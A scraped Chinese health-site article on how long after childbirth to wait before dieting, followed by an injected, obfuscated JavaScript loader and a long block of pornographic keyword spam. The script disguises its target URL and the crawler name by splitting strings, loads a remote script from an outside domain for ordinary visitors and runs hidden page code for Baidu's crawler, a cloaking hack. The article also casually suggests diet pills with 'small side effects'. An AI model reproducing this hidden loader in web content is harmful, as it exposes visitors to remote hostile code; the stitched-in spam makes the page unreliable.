當(dāng)前位置:首頁(yè) > 減肥 > 減肥方法 > 正文

產(chǎn)后多久可以減肥

2017-04-26 17:11:45  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):相信生過(guò)孩子的女性都了解,產(chǎn)后自己會(huì)比原先胖很多,不僅是肚子上有贅肉,就連腿上,胳膊上都出現(xiàn)很多的肉肉,再加上坐月子期間的營(yíng)養(yǎng)補(bǔ)充

相信生過(guò)孩子的女性都了解,產(chǎn)后自己會(huì)比原先胖很多,不僅是肚子上有贅肉,就連腿上,胳膊上都出現(xiàn)很多的肉肉,再加上坐月子期間的營(yíng)養(yǎng)補(bǔ)充,更是讓身體變得越來(lái)越胖。很多的產(chǎn)后媽媽們就特別想了解產(chǎn)后多久可以減肥呢?

產(chǎn)后多久可以減肥?為了能夠讓自己擁有以往的身材,必須要采取減肥的方法。產(chǎn)后媽媽畢竟是特殊的人群,所以在減肥方面也有一定的特殊性,不能說(shuō)是盲目性的減肥。比如說(shuō)最好不要運(yùn)動(dòng)減肥藥來(lái)減肥,避免有副作用產(chǎn)生。

產(chǎn)后多久可以減肥,首先要先得到醫(yī)生的許可才可以開(kāi)始。如果是順產(chǎn)的話,大多數(shù)新媽媽在生完寶寶兩三個(gè)月就可以進(jìn)行減肥運(yùn)動(dòng)了,但是如果是剖腹產(chǎn)的話,則要在三個(gè)月之后才能開(kāi)始減肥。而且這是針對(duì)一般體質(zhì)的女性,如果身體比較虛弱,則要延長(zhǎng)時(shí)間,或者咨詢醫(yī)生后再做決定。

生完孩子后,新媽媽要注意身體的恢復(fù),在飲食上也要注意均衡多樣,詳細(xì)請(qǐng)參考產(chǎn)后媽媽的飲食減肥,只有在能承受中小等強(qiáng)度的運(yùn)動(dòng)后才能開(kāi)始進(jìn)行減肥運(yùn)動(dòng)。新媽媽的產(chǎn)后減肥可以通過(guò)適當(dāng)?shù)倪\(yùn)動(dòng)或者減少熱量的攝取來(lái)進(jìn)行減肥,但如果想快點(diǎn)瘦下來(lái),吃減肥產(chǎn)品的話,最好是在孩子斷奶之后或者選擇副作用小的減肥藥。

如果你是剖腹產(chǎn),或者有背痛等身體不適,你最好在咨詢醫(yī)生后再考慮產(chǎn)后多久開(kāi)始減肥。雖然運(yùn)動(dòng)是產(chǎn)后減肥的健康方法,但是你也需要首先看看自己的身體是否準(zhǔn)備好了。

產(chǎn)后多久可以減肥,最好等到生產(chǎn)后的六個(gè)月以上再減肥,這樣既可以減肥效果好,而且也不會(huì)影響到嬰兒。不過(guò),產(chǎn)后采用什么樣的減肥方法,還得要看個(gè)人的體質(zhì),要通過(guò)醫(yī)生的診斷再進(jìn)行減肥。否則就會(huì)有事倍功半的效果。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久精品免费视频观看| 久久99这里只有精品国产| 99热这里有免费国产精品| 99久久精品免费精品国产| 亚洲宅男精品一区在线观看| 99视频30精品视频在线观看| 精品久久久中文字幕一区| 九九久久国产精品| 国内精品久久久久久久coent| 久久国产成人精品麻豆| 久久99精品久久久久久园产越南 | 久久久久亚洲精品无码系列| 正在播放国产精品放孕妇| 欧美日韩精品一区二区在线观看| 精品国产线拍大陆久久尤物| 四虎精品免费永久免费视频| 中文国产成人精品久久一| 国产成人精品一区二区秒拍 | 无码精品国产va在线观看dvd| 杨幂精品国产福利在线| 国产精品va在线观看无码| 国产精品无码无卡在线播放 | 国产精品乱子乱XXXX| 精品国产亚洲男女在线线电影| 亚洲国产精品成人久久| 国产精品视频免费| 国产自产拍精品视频免费看| 久久夜色精品国产亚洲av| 久久91精品国产91久久| 久久精品无码一区二区三区免费| 人妻无码久久精品| 亚洲av永久无码精品秋霞电影影院 | 国农村精品国产自线拍| 99国产精品免费观看视频| 亚洲精品国产综合久久久久紧| 亚洲国产av无码精品| 久久久精品2019中文字幕2020| 亚洲av无码成人精品区一本二本| 凹凸国产熟女精品视频app| 亚洲AV永久无码精品一百度影院| 亚洲国产aⅴ成人精品无吗|